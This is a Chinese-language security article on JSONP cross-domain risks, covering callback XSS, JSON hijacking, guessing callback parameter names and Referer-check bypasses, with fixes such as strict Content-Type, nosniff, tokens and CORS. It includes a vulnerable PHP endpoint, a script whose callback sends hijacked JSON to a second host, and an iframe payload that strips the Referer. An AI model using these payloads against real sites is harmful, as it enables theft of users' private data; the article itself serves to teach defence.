你还不知道jsonp跨域，引发的安全问题的严重性？这里帮你修复。

JSONP没有关于错误调用的处理，一旦回调函数失败，浏览器就会以静默失败的方式处理。
只支持GET请求
安全性问题
1、Callback可自定义导致的安全问题
Content-type与XSS漏洞 
再输出 JSON 时，没有严格定义好 Content-Type（ Content-Type: application/json ）然后加上 callback 这个输出点没有进行过滤直接导致了一个典型的 XSS 漏洞。例如：

<script>function test(v){    alert(v.name);    }</script><script src="http://10.59.0.248/1.php?callback=test"></script> <?php$callback = $_GET['callback'];print $callback.'({"id" : "1","name" : "vincent"});';?>

对于这种漏洞，主要修复手段：
1）严格定义 Content-Type: application / json
2）过滤 callback 以及 JSON 数据输出 
针对输出结果进行转码处理，但是需要注意UTF-7 XSS，强制指定 Content-Type里的编码 ( Content-Type: application/json; charset=utf-8 )
2、Json劫持 
JSON 劫持又为“ JSON Hijacking ”，这里其实是属于CSRF的范畴。攻击者可以在自己的站点中写入一条访问Json的JS，在用户Cookie未过期的情况下，Json中会返回敏感的用户信息，然后攻击者可以获取到数据，并发送到自己的站点。 
回调函数是动态，主要有以下几类情况：

1）完全可控（GET变量） 
回调函数在URL中指定，我们可以完全控制它。
2）部分可控，比如附加动态的数字，每个会话都不同,如果附加的数字比较短，可以遍历创建回调函数。
3）完全可控，但是没有显示在原始请求中 
最后一个场景涉及一个显然没有回调的API调用，因此没有可见的JSONP。 这可能发生在开发人员，为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。 因此，当看到没有回调的API调用时，特别是如果JSON格式的数据已经在括号之间，手动添加回调到请求。

如果我们有以下API调用http://10.59.0.248/1.php，我们可能会尝试猜测回调变量：
http://10.59.0.248/1.php?callback=test 
http://10.59.0.248/1.php?cb=test
其他的还有func、function、call、jsonp、jsonpcallback等等。 
参考案例： 
http://www.codesec.net/view/172245.html
敏感数据获取程序如下：

<script>function test(data){    //alert(v.name);    var xmlhttp = new XMLHttpRequest();    var url = "http://192.168.192.120/" + JSON.stringify(data);    xmlhttp.open("GET",url,true);    xmlhttp.send();    }</script><script src="http://10.59.0.248/1.php?callback=test"></script>

需要注意的是Content-Type和X-Content-Type-Options头，如果在API请求的响应标头中，X-Content-Type-Options设置为nosniff，则必须将Content-Type设置为JavaScript（text/javascript，application/javascript，text/ecmascript等）来在所有浏览器上生效。 这是因为通过在响应中包含回调，响应不再是JSON，而是JavaScript。

header("Content-type: application/json;charset=utf-8");header("X-Content-Type-Options:nosniff");

Refused to execute script from 'http://10.59.0.248/1.php?callback=test' because its MIME type ('application/json') is not executable, and strict MIME type checking is enabled.

常见的修复方案：

1）Referer正则匹配 
常见的有Referer匹配正则编写错误导致正则绕过。 
另外在很多情况下，开发者在部署过滤 Referer 来源时，忽视了一个空 Referer 的过滤。一般情况下浏览器直接访问某 URL 是不带 Referer 的，所以很多防御部署是允许空 Referer 的。

<iframe src=”javascript:'<script>function JSON(o){alert(o.name);}</script><script src=http://10.59.0.248/1.php?callback=JSON></script>'”></iframe>

可以看到请求头中没有Referer。
2）添加Token
3）放弃使用Jsonp跨域获取数据，使用CORS或者PostMessage